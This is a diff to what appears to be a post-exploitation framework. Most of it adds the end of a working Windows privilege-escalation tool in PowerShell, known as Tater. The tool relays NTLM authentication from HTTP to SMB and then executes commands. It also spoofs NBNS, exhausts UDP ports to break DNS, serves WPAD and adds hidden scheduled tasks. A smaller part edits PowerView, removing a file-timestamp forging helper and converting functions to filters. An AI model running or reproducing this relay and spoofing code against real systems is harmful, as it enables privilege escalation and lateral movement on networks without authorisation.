not responding") + $tater.SMB_relay_active_step = 0 + } + + if($tater.SMB_relay_active_step -eq 1) + { + $SMB_relay_bytes = SMBRelayChallenge $SMB_relay_socket $HTTP_request_bytes + $tater.SMB_relay_active_step = 2 + $SMB_relay_bytes = $SMB_relay_bytes[2..$SMB_relay_bytes.length] + $SMB_user_ID = $SMB_relay_bytes[34..33] + $SMB_relay_NTLMSSP = [System.BitConverter]::ToString($SMB_relay_bytes) + $SMB_relay_NTLMSSP = $SMB_relay_NTLMSSP -replace "-","" + $SMB_relay_NTLMSSP_index = $SMB_relay_NTLMSSP.IndexOf("4E544C4D53535000") + $SMB_relay_NTLMSSP_bytes_index = $SMB_relay_NTLMSSP_index / 2 + $SMB_domain_length = DataLength ($SMB_relay_NTLMSSP_bytes_index + 12) $SMB_relay_bytes + $SMB_domain_length_offset_bytes = $SMB_relay_bytes[($SMB_relay_NTLMSSP_bytes_index + 12)..($SMB_relay_NTLMSSP_bytes_index + 19)] + $SMB_target_length = DataLength ($SMB_relay_NTLMSSP_bytes_index + 40) $SMB_relay_bytes + $SMB_target_length_offset_bytes = $SMB_relay_bytes[($SMB_relay_NTLMSSP_bytes_index + 40)..($SMB_relay_NTLMSSP_bytes_index + 55 + $SMB_domain_length)] + $SMB_relay_NTLM_challenge = $SMB_relay_bytes[($SMB_relay_NTLMSSP_bytes_index + 24)..($SMB_relay_NTLMSSP_bytes_index + 31)] + $SMB_reserved = $SMB_relay_bytes[($SMB_relay_NTLMSSP_bytes_index + 32)..($SMB_relay_NTLMSSP_bytes_index + 39)] + $SMB_relay_target_details = $SMB_relay_bytes[($SMB_relay_NTLMSSP_bytes_index + 56 + $SMB_domain_length)..($SMB_relay_NTLMSSP_bytes_index + 55 + $SMB_domain_length + $SMB_target_length)] + + [byte[]] $HTTP_NTLM_bytes = (0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00,0x02,0x00,0x00,0x00)` + + $SMB_domain_length_offset_bytes` + + (0x05,0xc2,0x89,0xa2)` + + $SMB_relay_NTLM_challenge` + + $SMB_reserved` + + $SMB_target_length_offset_bytes` + + $SMB_relay_target_details + + $NTLM_challenge_base64 = [System.Convert]::ToBase64String($HTTP_NTLM_bytes) + $NTLM = 'NTLM ' + $NTLM_challenge_base64 + $NTLM_challenge = SMBNTLMChallenge $SMB_relay_bytes + $tater.HTTP_challenge_queue.Add($tater.HTTP_client.Client.RemoteEndpoint.Address.IPAddressToString + $tater.HTTP_client.Client.RemoteEndpoint.Port + ',' + $NTLM_challenge) + $tater.console_queue.add("$(Get-Date -format 's') - Received challenge $NTLM_challenge for relay from $SMBRelayTarget") + $tater.console_queue.add("$(Get-Date -format 's') - Providing challenge $NTLM_challenge for relay to " + $tater.HTTP_client.Client.RemoteEndpoint.Address) + $tater.SMB_relay_active_step = 3 + } + else + { + $NTLM = NTLMChallengeBase64 + } + } + else + { + $NTLM = NTLMChallengeBase64 + } + + $tater.response_StatusCode = (0x34,0x30,0x31) + $HTTP_response_phrase = (0x4f,0x4b) + + } + elseif ($HTTP_request_bytes[8] -eq 3) + { + $NTLM = 'NTLM' + $HTTP_NTLM_offset = $HTTP_request_bytes[24] + $HTTP_NTLM_length = DataLength 22 $HTTP_request_bytes + $HTTP_NTLM_domain_length = DataLength 28 $HTTP_request_bytes + $HTTP_NTLM_domain_offset = DataLength 32 $HTTP_request_bytes + + if($HTTP_NTLM_domain_length -eq 0) + { + $HTTP_NTLM_domain_string = '' + } + else + { + $HTTP_NTLM_domain_string = DataToString $HTTP_NTLM_domain_length 0 0 $HTTP_NTLM_domain_offset $HTTP_request_bytes + } + + $HTTP_NTLM_user_length = DataLength 36 $HTTP_request_bytes + $HTTP_NTLM_host_length = DataLength 44 $HTTP_request_bytes + + if ([System.BitConverter]::ToString($HTTP_request_bytes[16]) -eq '58' -and [System.BitConverter]::ToString($HTTP_request_bytes[24]) -eq '58' -and [System.BitConverter]::ToString($HTTP_request_bytes[32]) -eq '58') + { + $HTTP_NTLM_user_string = '' + $HTTP_NTLM_host_string = '' + } + else + { + $HTTP_NTLM_user_string = DataToString $HTTP_NTLM_user_length $HTTP_NTLM_domain_length 0 $HTTP_NTLM_domain_offset $HTTP_request_bytes + $HTTP_NTLM_host_string = DataToString $HTTP_NTLM_host_length $HTTP_NTLM_domain_length $HTTP_NTLM_user_length $HTTP_NTLM_domain_offset $HTTP_request_bytes + } + + $NTLM_response = [System.BitConverter]::ToString($HTTP_request_bytes[$HTTP_NTLM_offset..($HTTP_NTLM_offset + $HTTP_NTLM_length)]) -replace "-","" + $NTLM_response = $NTLM_response.Insert(32,':') + + $tater.response_StatusCode = (0x32,0x30,0x30) + $HTTP_response_phrase = (0x4f,0x4b) + $NTLM_challenge = '' + + if ($tater.SMB_relay_active_step -eq 3) + { + $tater.console_queue.add("$(Get-Date -format 's') - Sending response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string for relay to $SMBRelaytarget") + $SMB_relay_response_return_bytes = SMBRelayResponse $SMB_relay_socket $HTTP_request_bytes $SMB_user_ID + $SMB_relay_response_return_bytes = $SMB_relay_response_return_bytes[1..$SMB_relay_response_return_bytes.length] + + if((!$SMB_relay_failed) -and ([System.BitConverter]::ToString($SMB_relay_response_return_bytes[9..12]) -eq ('00-00-00-00'))) + { + $tater.console_queue.add("$(Get-Date -format 's') - $HTTP_type to SMB relay authentication successful for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string on $SMBRelayTarget") + $tater.SMB_relay_active_step = 4 + SMBRelayExecute $SMB_relay_socket $SMB_user_ID + } + else + { + $tater.console_queue.add("$(Get-Date -format 's') - $HTTP_type to SMB relay authentication failed for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string on $SMBRelayTarget") + $tater.SMB_relay_active_step = 0 + $SMB_relay_socket.Close() + } + } + } + else + { + $NTLM = 'NTLM' + } + } + + $HTTP_timestamp = Get-Date -format r + $HTTP_timestamp = [System.Text.Encoding]::UTF8.GetBytes($HTTP_timestamp) + + $HTTP_WWW_authenticate_header = (0x57,0x57,0x57,0x2d,0x41,0x75,0x74,0x68,0x65,0x6e,0x74,0x69,0x63,0x61,0x74,0x65,0x3a,0x20) + + if($NTLM) + { + $NTLM = [System.Text.Encoding]::UTF8.GetBytes($NTLM) + [Byte[]] $HTTP_response = (0x48,0x54,0x54,0x50,0x2f,0x31,0x2e,0x31,0x20)` + + $tater.response_StatusCode` + + (0x20)` + + $HTTP_response_phrase` + + (0x0d,0x0a)` + + (0x43,0x61,0x63,0x68,0x65,0x2d,0x43,0x6f,0x6e,0x74,0x72,0x6f,0x6c,0x3a,0x20,0x70,0x72,0x69,0x76,0x61,0x74,0x65,0x0d,0x0a)` + + (0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20,0x74,0x65,0x78,0x74,0x2f,0x68,0x74,0x6d,0x6c,0x3b,0x20,0x63,0x68,0x61,0x72,0x73,0x65,0x74,0x3d,0x75,0x74,0x66,0x2d,0x38,0x0d,0x0a)` + + (0x45,0x78,0x70,0x69,0x72,0x65,0x73,0x3a,0x20,0x4d,0x6f,0x6e,0x2c,0x20,0x30,0x31,0x20,0x4a,0x61,0x6e,0x20,0x30,0x30,0x30,0x31,0x20,0x30,0x30,0x3a,0x30,0x30,0x3a,0x30,0x30,0x20,0x47,0x4d,0x54,0x0d,0x0a)` + + $HTTP_WWW_authenticate_header` + + $NTLM` + + (0x0d,0x0a)` + + (0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x4c,0x65,0x6e,0x67,0x74,0x68,0x3a,0x20,0x30,0x0d,0x0a)` + + (0x0d,0x0a) + } + elseif($HTTP_request_type -eq 'WPAD') + { + [Byte[]] $HTTP_response = (0x48,0x54,0x54,0x50,0x2f,0x31,0x2e,0x31,0x20)` + + $tater.response_StatusCode` + + (0x20)` + + $HTTP_response_phrase` + + (0x0d,0x0a)` + + (0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20,0x74,0x65,0x78,0x74,0x2f,0x68,0x74,0x6d,0x6c,0x3b,0x20,0x63,0x68,0x61,0x72,0x73,0x65,0x74,0x3d,0x75,0x74,0x66,0x2d,0x38,0x0d,0x0a)` + + (0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x4c,0x65,0x6e,0x67,0x74,0x68,0x3a,0x20)` + + $HTTP_content_length_bytes` + + (0x0d,0x0a)` + + (0x53,0x65,0x72,0x76,0x65,0x72,0x3a,0x20,0x4d,0x69,0x63,0x72,0x6f,0x73,0x6f,0x66,0x74,0x2d,0x48,0x54,0x54,0x50,0x41,0x50,0x49,0x2f,0x32,0x2e,0x30,0x0d,0x0a)` + + (0x44,0x61,0x74,0x65,0x3a)` + + $HTTP_timestamp` + + (0x0d,0x0a,0x0d,0x0a)` + + $HTTP_WPAD_response + } + elseif($HTTP_request_type -eq 'Redirect') + { + [Byte[]] $HTTP_response = (0x48,0x54,0x54,0x50,0x2f,0x31,0x2e,0x31,0x20)` + + $tater.response_StatusCode` + + (0x20)` + + $HTTP_response_phrase` + + (0x0d,0x0a)` + + (0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x4c,0x65,0x6e,0x67,0x74,0x68,0x3a,0x20,0x30,0x0d,0x0a)` + + (0x53,0x65,0x72,0x76,0x65,0x72,0x3a,0x20,0x4d,0x69,0x63,0x72,0x6f,0x73,0x6f,0x66,0x74,0x2d,0x48,0x54,0x54,0x50,0x41,0x50,0x49,0x2f,0x32,0x2e,0x30,0x0d,0x0a)` + + $HTTP_location` + + (0x44,0x61,0x74,0x65,0x3a)` + + $HTTP_timestamp` + + (0x0d,0x0a,0x0d,0x0a) + } + else + { + [Byte[]] $HTTP_response = (0x48,0x54,0x54,0x50,0x2f,0x31,0x20)` + + $tater.response_StatusCode` + + (0x20)` + + $HTTP_response_phrase` + + (0x0d,0x0a)` + + (0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x4c,0x65,0x6e,0x67,0x74,0x68,0x3a,0x20,0x31,0x30,0x37,0x0d,0x0a)` + + (0x53,0x65,0x72,0x76,0x65,0x72,0x3a,0x20,0x4d,0x69,0x63,0x72,0x6f,0x73,0x6f,0x66,0x74,0x2d,0x48,0x54,0x54,0x50,0x41,0x50,0x49,0x2f,0x32,0x2e,0x30,0x0d,0x0a)` + + (0x44,0x61,0x74,0x65,0x3a)` + + $HTTP_timestamp` + + (0x0d,0x0a,0x0d,0x0a)` + } + + $HTTP_stream.write($HTTP_response, 0, $HTTP_response.length) + $HTTP_stream.Flush() + start-sleep -s 1 + $tater.request_RawUrl_old = $tater.request_RawUrl + $tater.HTTP_client_handle_old= $tater.HTTP_client.Client.Handle + + } + +} + +$exhaust_UDP_scriptblock = +{ + $tater.exhaust_UDP_running = $true + $tater.console_queue.add("$(Get-Date -format 's') - Trying to exhaust UDP source ports so DNS lookups will fail") + $UDP_socket_list = New-Object "System.Collections.Generic.List[Net.Sockets.Socket]" + $UDP_failed_ports_list = New-Object "System.Collections.Generic.List[Int]" + + $i=0 + for ($i = 0; $i -le 65535; $i++) + { + try + { + if ($i -ne 137 -and $i -ne 53) + { + $IP_end_point = New-Object System.Net.IPEndpoint([Net.IPAddress]::Any, $i) + $UDP_socket = New-Object Net.Sockets.Socket( [Net.Sockets.AddressFamily]::InterNetwork,[Net.Sockets.SocketType]::Dgram,[Net.Sockets.ProtocolType]::Udp ) + $UDP_socket.Bind($IP_end_point) + $UDP_socket_list.Add($UDP_socket) + } + } + catch + { + $UDP_failed_ports_list.Add($i); + $tater.console_queue.add("$(Get-Date -format 's') - Couldn't bind to UDP port $i") + } + } + + $tater.UDP_exhaust_success = $false + + while (!$tater.UDP_exhaust_success) + { + if(!$suppress_flush_message) + { + $tater.console_queue.add("$(Get-Date -format 's') - Flushing DNS resolver cache") + $suppress_flush_message = $true + } + + DnsFlushResolverCache + + try + { + [System.Net.Dns]::GetHostEntry("microsoft.com") + } + catch + { + $tater.console_queue.add("$(Get-Date -format 's') - DNS lookup failed so UDP exhaustion worked") + $tater.UDP_exhaust_success = $true + break + } + + $tater.console_queue.add("$(Get-Date -format 's') - DNS lookup succeeded so UDP exhaustion failed") + + ForEach ($UDP_port in $UDP_failed_ports_list) + { + try + { + $IP_end_point = New-Object System.Net.IPEndpoint([Net.IPAddress]::Any, $i) + $UDP_socket = New-Object Net.Sockets.Socket( [Net.Sockets.AddressFamily]::InterNetwork,[Net.Sockets.SocketType]::Dgram,[Net.Sockets.ProtocolType]::Udp ) + $UDP_socket.Bind($IP_end_point) + $UDP_socket_list.Add($UDP_socket) + $UDP_failed_ports.Remove($UDP_port) + } + catch + { + $tater.console_queue.add("$(Get-Date -format 's') - Failed to bind to $UDP_port during cleanup") + } + } + } + + $tater.exhaust_UDP_running = $false +} + +$spoofer_scriptblock = +{ + param ($IP,$SpooferIP,$Hostname,$NBNSLimit) + + $Hostname = $Hostname.ToUpper() + + [Byte[]]$hostname_bytes = (0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x41,0x41,0x00) + + $hostname_encoded = [System.Text.Encoding]::UTF8.GetBytes($Hostname) + $hostname_encoded = [System.BitConverter]::ToString($hostname_encoded) + $hostname_encoded = $hostname_encoded.Replace("-","") + $hostname_encoded = [System.Text.Encoding]::UTF8.GetBytes($hostname_encoded) + + for ($i=0; $i -lt $hostname_encoded.Count; $i++) + { + if($hostname_encoded[$i] -gt 64) + { + $hostname_bytes[$i] = $hostname_encoded[$i] + 10 + } + else + { + $hostname_bytes[$i] = $hostname_encoded[$i] + 17 + } + } + + [Byte[]]$NBNS_response_packet = (0x00,0x00)` + + (0x85,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x20)` + + $hostname_bytes` + + (0x00,0x20,0x00,0x01,0x00,0x00,0x00,0xa5,0x00,0x06,0x00,0x00)` + + ([IPAddress][String]([IPAddress]$SpooferIP)).GetAddressBytes()` + + (0x00,0x00,0x00,0x00) + + while($tater.exhaust_UDP_running) + { + Start-Sleep -s 2 + } + + $tater.console_queue.add("$(Get-Date -format 's') - Flushing DNS resolver cache") + DnsFlushResolverCache + + $tater.console_queue.add("$(Get-Date -format 's') - Starting NBNS spoofer to resolve $Hostname to $SpooferIP") + + $send_socket = New-Object System.Net.Sockets.UdpClient(137) + $destination_IP = [system.net.IPAddress]::Parse($IP) + $destination_point = New-Object Net.IPEndpoint($destination_IP,137) + $send_socket.Connect($destination_point) + + while ($tater.running) + { + :NBNS_spoofer_loop while (!$tater.hostname_spoof -and $tater.running) + { + for ($i = 0; $i -lt 255; $i++) + { + for ($j = 0; $j -lt 255; $j++) + { + $NBNS_response_packet[0] = $i + $NBNS_response_packet[1] = $j + [void]$send_socket.send( $NBNS_response_packet,$NBNS_response_packet.length) + + if($tater.hostname_spoof -and $NBNSLimit -eq 'Y') + { + break NBNS_spoofer_loop + } + } + } + } + + Start-Sleep -m 5 + } + + $send_socket.Close() + } + +$tater_scriptblock = +{ + param ($NBNS,$NBNSLimit,$RunTime,$SpooferIP,$Hostname,$HTTPPort) + + if($RunTime) + { + $tater_timeout = new-timespan -Minutes $RunTime + $tater_stopwatch = [diagnostics.stopwatch]::StartNew() + } + + while ($tater.running) + { + if($tater.trigger -ne 2) + { + try + { + $Hostname_IP = [System.Net.Dns]::GetHostEntry($Hostname).AddressList[0].IPAddressToString + } + catch + { + # Don't need output for this + } + + if($Hostname_IP -eq $SpooferIP) + { + if(!$suppress_spoofed_message) + { + $tater.console_queue.add("$(Get-Date -format 's') - $Hostname has been spoofed to $SpooferIP") + $suppress_spoofed_message = $true + } + + if($NBNSLimit -eq 'y') + { + $tater.hostname_spoof = $true + } + + $hostname_spoof = $true + $Hostname_IP = "" + } + elseif((!$Hostname_IP -or $Hostname_IP -ne $SpooferIP) -and $NBNS -eq 'y') + { + $tater.hostname_spoof = $false + $hostname_spoof = $false + } + } + + if(!$tater.SMBRelay_success -and $tater.trigger -eq 1) + { + if(Test-Path "C:\Program Files\Windows Defender\MpCmdRun.exe") + { + if(($process_defender.HasExited -or !$process_defender) -and !$tater.SMB_relay_success -and $hostname_spoof) + { + $tater.console_queue.add("$(Get-Date -format 's') - Running Windows Defender signature update") + $process_defender = Start-Process -FilePath "C:\Program Files\Windows Defender\MpCmdRun.exe" -Argument SignatureUpdate -WindowStyle Hidden -passthru + } + } + else + { + $tater.console_queue.add("Windows Defender not found") + } + } + elseif(!$tater.SMBRelay_success -and $tater.trigger -eq 2) + { + $service_webclient = Get-Service WebClient + + if($service_webclient.Status -eq 'Stopped') + { + $tater.console_queue.add("$(Get-Date -format 's') - Starting WebClient service") + Start-Process -FilePath "cmd.exe" -Argument "/C pushd \\live.sysinternals.com\tools" -WindowStyle Hidden -passthru -Wait + } + + if($service_webclient.Status -eq 'Running' -and !$tater.task_added -and !$tater.SMBRelay_success) + { + $timestamp_add = (Get-Date).AddMinutes(1) + $timestamp_add_string = $timestamp_add.ToString("HH:mm") + $tater.task = $tater.taskname + + if($tater.task_delete) + { + $tater.task += "_" + $tater.task += Get-Random + } + + $tater.console_queue.add("$(Get-Date -format 's') - Adding scheduled task " + $tater.task) + $process_scheduled_task = "/C schtasks.exe /Create /TN " + $tater.task + " /TR \\127.0.0.1@$HTTPPort\test /SC ONCE /ST $timestamp_add_string /F" + Start-Process -FilePath "cmd.exe" -Argument $process_scheduled_task -WindowStyle Hidden -passthru -Wait + + $schedule_service = new-object -com("Schedule.Service") + $schedule_service.connect() + $scheduled_task_list = $schedule_service.getfolder("\").gettasks(1) + + $tater.task_added = $false + + ForEach($scheduled_task in $scheduled_task_list) + { + if($scheduled_task.name -eq $tater.task) + { + $tater.task_added = $true + } + } + + $schedule_service.Quit() + + if(!$tater.task_added -and !$tater.SMBRelay_success) + { + $tater.console_queue.add("$(Get-Date -format 's') - Adding scheduled task " + $tater.task + " failed") + StopTater + } + } + elseif($tater.task_added -and (Get-Date) -ge $timestamp_add.AddMinutes(2)) + { + $tater.console_queue.add("$(Get-Date -format 's') - Something went wrong with the service") + StopTater + } + } + + if($tater.SMBRelay_success) + { + Stop-Process -id $process_defender.Id + } + + if($RunTime) + { + if($tater_stopwatch.elapsed -ge $tater_timeout) + { + StopTater + } + } + + Start-Sleep -m 5 + } + } + +# HTTP Listener Startup Function +Function HTTPListener() +{ + if($WPADPort -eq '80') + { + $tater.HTTP_endpoint = New-Object System.Net.IPEndPoint([ipaddress]::loopback,$HTTPPort) + } + else + { + $tater.HTTP_endpoint = New-Object System.Net.IPEndPoint([ipaddress]::any,$HTTPPort) + } + + $tater.HTTP_listener = New-Object System.Net.Sockets.TcpListener $tater.HTTP_endpoint + $tater.HTTP_listener.Start() + $HTTP_runspace = [runspacefactory]::CreateRunspace() + $HTTP_runspace.Open() + $HTTP_runspace.SessionStateProxy.SetVariable('tater',$tater) + $HTTP_powershell = [powershell]::Create() + $HTTP_powershell.Runspace = $HTTP_runspace + $HTTP_powershell.AddScript($shared_basic_functions_scriptblock) > $null + $HTTP_powershell.AddScript($SMB_relay_challenge_scriptblock) > $null + $HTTP_powershell.AddScript($SMB_relay_response_scriptblock) > $null + $HTTP_powershell.AddScript($SMB_relay_execute_scriptblock) > $null + $HTTP_powershell.AddScript($SMB_NTLM_functions_scriptblock) > $null + $HTTP_powershell.AddScript($HTTP_scriptblock).AddArgument($Command).AddArgument($HTTPPort).AddArgument($WPADDirectHosts).AddArgument($WPADPort) > $null + $HTTP_powershell.BeginInvoke() > $null +} + +# Exhaust UDP Startup Function +Function ExhaustUDP() +{ + $exhaust_UDP_runspace = [runspacefactory]::CreateRunspace() + $exhaust_UDP_runspace.Open() + $exhaust_UDP_runspace.SessionStateProxy.SetVariable('tater',$tater) + $exhaust_UDP_powershell = [powershell]::Create() + $exhaust_UDP_powershell.Runspace = $exhaust_UDP_runspace + $exhaust_UDP_powershell.AddScript($shared_basic_functions_scriptblock) > $null + $exhaust_UDP_powershell.AddScript($exhaust_UDP_scriptblock) > $null + $exhaust_UDP_powershell.BeginInvoke() > $null +} + +# Spoofer Startup Function +Function Spoofer() +{ + $spoofer_runspace = [runspacefactory]::CreateRunspace() + $spoofer_runspace.Open() + $spoofer_runspace.SessionStateProxy.SetVariable('tater',$tater) + $spoofer_powershell = [powershell]::Create() + $spoofer_powershell.Runspace = $spoofer_runspace + $spoofer_powershell.AddScript($shared_basic_functions_scriptblock) > $null + $spoofer_powershell.AddScript($SMB_NTLM_functions_scriptblock) > $null + $spoofer_powershell.AddScript($spoofer_scriptblock).AddArgument($IP).AddArgument($SpooferIP).AddArgument($Hostname).AddArgument($NBNSLimit) > $null + $spoofer_powershell.BeginInvoke() > $null +} + +# Tater Loop Function +Function TaterLoop() +{ + $tater_runspace = [runspacefactory]::CreateRunspace() + $tater_runspace.Open() + $tater_runspace.SessionStateProxy.SetVariable('tater',$tater) + $tater_powershell = [powershell]::Create() + $tater_powershell.Runspace = $tater_runspace + $tater_powershell.AddScript($shared_basic_functions_scriptblock) > $null + $tater_powershell.AddScript($tater_scriptblock).AddArgument($NBNS).AddArgument($NBNSLimit).AddArgument($RunTime).AddArgument($SpooferIP).AddArgument($Hostname).AddArgument($HTTPPort) > $null + $tater_powershell.BeginInvoke() > $null +} + +# HTTP Server Start +HTTPListener + +# Exhaust UDP Start +if($ExhaustUDP -eq 'y') +{ + ExhaustUDP +} + +# Spoofer Start +if($NBNS -eq 'y') +{ + Spoofer +} + +# Tater Loop Start +TaterLoop + +if($tater.console_output) +{ + :console_loop while($tater.running -and $tater.console_output) + { + while($tater.console_queue.Count -gt 0) + { + Write-Output($tater.console_queue[0] + $tater.newline) + $tater.console_queue.RemoveRange(0,1) + } + + if($tater.console_input) + { + if([console]::KeyAvailable) + { + $tater.console_output = $false + BREAK console_loop + } + } + + Start-Sleep -m 5 + } + + if(!$tater.running) + { + Remove-Variable tater -scope global + } +} + +} + diff --git a/data/module_source/situational_awareness/network/powerview.ps1 b/data/module_source/situational_awareness/network/powerview.ps1 index ee6dc2aee..d4c7fb5c7 100644 --- a/data/module_source/situational_awareness/network/powerview.ps1 +++ b/data/module_source/situational_awareness/network/powerview.ps1 @@ -714,11 +714,13 @@ function struct # ######################################################## -function Export-PowerViewCSV { +filter Export-PowerViewCSV { <# .SYNOPSIS - This function exports to a .csv in a thread-safe manner. + This helper exports an -InputObject to a .csv in a thread-safe manner + using a mutex. This is so the various multi-threaded functions in + PowerView has a thread-safe way to export output to the same file. Based partially on Dmitry Sotnikov's Export-CSV code at http://poshcode.org/1590 @@ -729,231 +731,84 @@ function Export-PowerViewCSV { http://dmitrysotnikov.wordpress.com/2010/01/19/Export-Csv-append/ #> Param( - [Parameter(Mandatory=$True, ValueFromPipeline=$True, - ValueFromPipelineByPropertyName=$True)] - [System.Management.Automation.PSObject] + [Parameter(Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)] + [System.Management.Automation.PSObject[]] $InputObject, [Parameter(Mandatory=$True, Position=0)] - [Alias('PSPath')] [String] + [ValidateNotNullOrEmpty()] $OutFile ) - process { - - $ObjectCSV = $InputObject | ConvertTo-Csv -NoTypeInformation - - # mutex so threaded code doesn't stomp on the output file - $Mutex = New-Object System.Threading.Mutex $False,'CSVMutex'; - $Null = $Mutex.WaitOne() - - if (Test-Path -Path $OutFile) { - # hack to skip the first line of output if the file already exists - $ObjectCSV | Foreach-Object {$Start=$True}{if ($Start) {$Start=$False} else {$_}} | Out-File -Encoding 'ASCII' -Append -FilePath $OutFile - } - else { - $ObjectCSV | Out-File -Encoding 'ASCII' -Append -FilePath $OutFile - } - - $Mutex.ReleaseMutex() - } -} - - -# stolen directly from http://obscuresecurity.blogspot.com/2014/05/touch.html -function Set-MacAttribute { -<# - .SYNOPSIS - - Sets the modified, accessed and created (Mac) attributes for a file based on another file or input. - - PowerSploit Function: Set-MacAttribute - Author: Chris Campbell (@obscuresec) - License: BSD 3-Clause - Required Dependencies: None - Optional Dependencies: None - Version: 1.0.0 - - .DESCRIPTION - - Set-MacAttribute sets one or more Mac attributes and returns the new attribute values of the file. - - .EXAMPLE - - PS C:\> Set-MacAttribute -FilePath c:\test\newfile -OldFilePath c:\test\oldfile - - .EXAMPLE - - PS C:\> Set-MacAttribute -FilePath c:\demo\test.xt -All "01/03/2006 12:12 pm" - - .EXAMPLE - - PS C:\> Set-MacAttribute -FilePath c:\demo\test.txt -Modified "01/03/2006 12:12 pm" -Accessed "01/03/2006 12:11 pm" -Created "01/03/2006 12:10 pm" - - .LINK - - http://www.obscuresec.com/2014/05/touch.html -#> - [CmdletBinding(DefaultParameterSetName = 'Touch')] - Param ( - - [Parameter(Position = 1,Mandatory = $True)] - [ValidateScript({Test-Path -Path $_ })] - [String] - $FilePath, - - [Parameter(ParameterSetName = 'Touch')] - [ValidateScript({Test-Path -Path $_ })] - [String] - $OldFilePath, - - [Parameter(ParameterSetName = 'Individual')] - [DateTime] - $Modified, - - [Parameter(ParameterSetName = 'Individual')] - [DateTime] - $Accessed, - - [Parameter(ParameterSetName = 'Individual')] - [DateTime] - $Created, - - [Parameter(ParameterSetName = 'All')] - [DateTime] - $AllMacAttributes - ) - - #Helper function that returns an object with the MAC attributes of a file. - function Get-MacAttribute { - - param($OldFileName) - - if (!(Test-Path -Path $OldFileName)) {Throw 'File Not Found'} - $FileInfoObject = (Get-Item $OldFileName) - - $ObjectProperties = @{'Modified' = ($FileInfoObject.LastWriteTime); - 'Accessed' = ($FileInfoObject.LastAccessTime); - 'Created' = ($FileInfoObject.CreationTime)}; - $ResultObject = New-Object -TypeName PSObject -Property $ObjectProperties - Return $ResultObject - } + $ObjectCSV = $InputObject | ConvertTo-Csv -NoTypeInformation - $FileInfoObject = (Get-Item -Path $FilePath) + # mutex so threaded code doesn't stomp on the output file + $Mutex = New-Object System.Threading.Mutex $False,'CSVMutex'; + $Null = $Mutex.WaitOne() - if ($PSBoundParameters['AllMacAttributes']) { - $Modified = $AllMacAttributes - $Accessed = $AllMacAttributes - $Created = $AllMacAttributes + if (Test-Path -Path $OutFile) { + # hack to skip the first line of output if the file already exists + $ObjectCSV | ForEach-Object { $Start=$True }{ if ($Start) {$Start=$False} else {$_} } | Out-File -Encoding 'ASCII' -Append -FilePath $OutFile } - - if ($PSBoundParameters['OldFilePath']) { - $CopyFileMac = (Get-MacAttribute $OldFilePath) - $Modified = $CopyFileMac.Modified - $Accessed = $CopyFileMac.Accessed - $Created = $CopyFileMac.Created + else { + $ObjectCSV | Out-File -Encoding 'ASCII' -Append -FilePath $OutFile } - if ($Modified) {$FileInfoObject.LastWriteTime = $Modified} - if ($Accessed) {$FileInfoObject.LastAccessTime = $Accessed} - if ($Created) {$FileInfoObject.CreationTime = $Created} - - Return (Get-MacAttribute $FilePath) + $Mutex.ReleaseMutex() } -function Copy-ClonedFile { +filter Get-IPAddress { <# .SYNOPSIS - Copy a source file to a destination location, matching any MAC - properties as appropriate. - - .PARAMETER SourceFile - - Source file to copy. - - .PARAMETER DestFile - - Destination file path to copy file to. + Resolves a given hostename to its associated IPv4 address. + If no hostname is provided, it defaults to returning + the IP address of the localhost. .EXAMPLE - PS C:\> Copy-ClonedFile -SourceFile program.exe -DestFile \\WINDOWS7\tools\program.exe + PS C:\> Get-IPAddress -ComputerName SERVER - Copy the local program.exe binary to a remote location, matching the MAC properties of the remote exe. - - .LINK - - http://obscuresecurity.blogspot.com/2014/05/touch.html -#> - - param( - [Parameter(Mandatory = $True)] - [String] - [ValidateNotNullOrEmpty()] - $SourceFile, - - [Parameter(Mandatory = $True)] - [String] - [ValidateNotNullOrEmpty()] - $DestFile - ) - - # clone the MAC properties - Set-MacAttribute -FilePath $SourceFile -OldFilePath $DestFile - - # copy the file off - Copy-Item -Path $SourceFile -Destination $DestFile -} - - -function Get-IPAddress { -<# - .SYNOPSIS - - This function resolves a given hostename to its associated IPv4 - address. If no hostname is provided, it defaults to returning - the IP address of the local host the script be being run on. + Return the IPv4 address of 'SERVER' .EXAMPLE - PS C:\> Get-IPAddress -ComputerName SERVER - - Return the IPv4 address of 'SERVER' + PS C:\> Get-Content .\hostnames.txt | Get-IPAddress + + Get the IP addresses of all hostnames in an input file. #> [CmdletBinding()] param( - [Parameter(Position=0,ValueFromPipeline=$True)] + [Parameter(Position=0, ValueFromPipeline=$True)] [Alias('HostName')] [String] - $ComputerName = '' + $ComputerName = $Env:ComputerName ) - process { - try { - # get the IP resolution of this specified hostname - $Results = @(([Net.Dns]::GetHostEntry($ComputerName)).AddressList) - - if ($Results.Count -ne 0) { - ForEach ($Result in $Results) { - # make sure the returned result is IPv4 - if ($Result.AddressFamily -eq 'InterNetwork') { - $Result.IPAddressToString - } - } + + try { + # extract the computer name from whatever object was passed on the pipeline + $Computer = $ComputerName | Get-NameField + + # get the IP resolution of this specified hostname + @(([Net.Dns]::GetHostEntry($Computer)).AddressList) | ForEach-Object { + if ($_.AddressFamily -eq 'InterNetwork') { + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'ComputerName' $Computer + $Out | Add-Member Noteproperty 'IPAddress' $_.IPAddressToString + $Out } } - catch { - Write-Verbose -Message 'Could not resolve host to an IP Address.' - } } - end {} + catch { + Write-Verbose -Message 'Could not resolve host to an IP Address.' + } } -function Convert-NameToSid { +filter Convert-NameToSid { <# .SYNOPSIS @@ -973,38 +828,43 @@ function Convert-NameToSid { #> [CmdletBinding()] param( - [Parameter(Mandatory=$True,ValueFromPipeline=$True)] + 